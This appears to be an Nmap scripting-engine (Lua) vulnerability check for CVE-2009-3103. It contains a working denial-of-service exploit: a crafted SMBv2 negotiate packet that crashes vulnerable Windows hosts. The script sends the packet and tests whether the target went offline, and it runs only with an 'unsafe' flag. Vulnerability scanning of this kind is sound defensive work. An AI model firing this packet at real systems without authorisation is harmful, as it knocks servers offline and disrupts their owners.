local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Checks for vulnerabilities:
* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
As a system administrator, performing these kinds of checks is crucial, because
a lot more damage can be done by a worm or a hacker using this vulnerability than
by a scanner. Penetration testers, on the other hand, might not want to use this
script -- crashing services is not generally a good way of sneaking through a
network.
If you set the script parameter unsafe
, then scripts will run that are almost
(or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe
in a production environment! And that isn't to say that non-unsafe scripts will
not crash a system, they're just less likely to.
If you set the script parameter safe
, then script will run that rarely or never
crash a vulnerable system. No promises, though.
SMBv2 DoS. Performs a denial-of-service against the vulnerability disclosed in
CVE-2009-3103. Checks if the server went offline. This works against Windows Vista
and some versions of Windows 7, and causes a bluescreen if successful. The
proof-of-concept code at http://seclists.org/fulldisclosure/2009/Sep/39 was used,
with one small change.
]]
---
--@usage
-- nmap --script smb-vuln-cve2009-3103.nse -p445
-- sudo nmap -sU -sS --script smb-vuln-cve2009-3103.nse -p U:137,T:139
--
--@output
-- Host script results:
-- | smb-check-vulns:
-- |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
-- non-unsafe checks aren't necessarily safe either)
-- @args safe If set, this script will only run checks that are known (or at
-- least suspected) to be safe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTRUN = 4
local INFECTED = 5
local INFECTED2 = 6
local CLEAN = 7
local NOTUP = 8
local function check_smbv2_dos(host)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
local status, result
-- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
local buf = "\x00\x00\x00\x90" .. -- Begin SMB header: Session message
"\xff\x53\x4d\x42" .. -- Server Component: SMB
"\x72\x00\x00\x00" .. -- Negociate Protocol
"\x00\x18\x53\xc8" .. -- Operation 0x18 & sub 0xc853
"\x00\x26" .. -- Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" ..
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" ..
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" ..
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" ..
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" ..
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" ..
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" ..
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" ..
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" ..
"\x30\x30\x32\x00"
local socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
status, result = socket:connect(host, 445)
if(status == false) then
socket:close()
return false, "Couldn't connect to host: " .. result
end
status, result = socket:send(buf)
if(status == false) then
socket:close()
return false, "Couldn't send the buffer: " .. result
end
-- Close the socket
socket:close()
-- Give it some time to crash
stdnse.debug1("Waiting 5 seconds to see if Windows crashed")
stdnse.sleep(5)
-- Create a new socket
socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
-- Try and do something simple
stdnse.debug1("Attempting to connect to the host")
socket:set_timeout(5000)
status, result = socket:connect(host, 445)
-- Check the result
if(status == false or status == nil) then
stdnse.debug1("Connect failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
-- Try sending something
stdnse.debug1("Attempting to send data to the host")
status, result = socket:send("AAAA")
if(status == false or status == nil) then
stdnse.debug1("Send failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
stdnse.debug1("Checks finished; host is likely not vulnerable.")
socket:close()
return true, PATCHED
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)',
state = vulns.STATE.NOT_VULN,
description = [[
Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.
]],
IDS = {CVE = 'CVE-2009-3103'},
references = {
'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103'
},
dates = {
disclosure = {year = '2009', month = '09', day = '08'},
}
}
-- Check for SMBv2 vulnerability
status, result = check_smbv2_dos(host)
if(status == false) then
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
elseif(result == NOTRUN) then
vuln_table.state = vulns.STATE.LIKELY_VULN
vuln_table.check_results = "CHECK DISABLED. Add '--script-args=unsafe=1' to run"
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end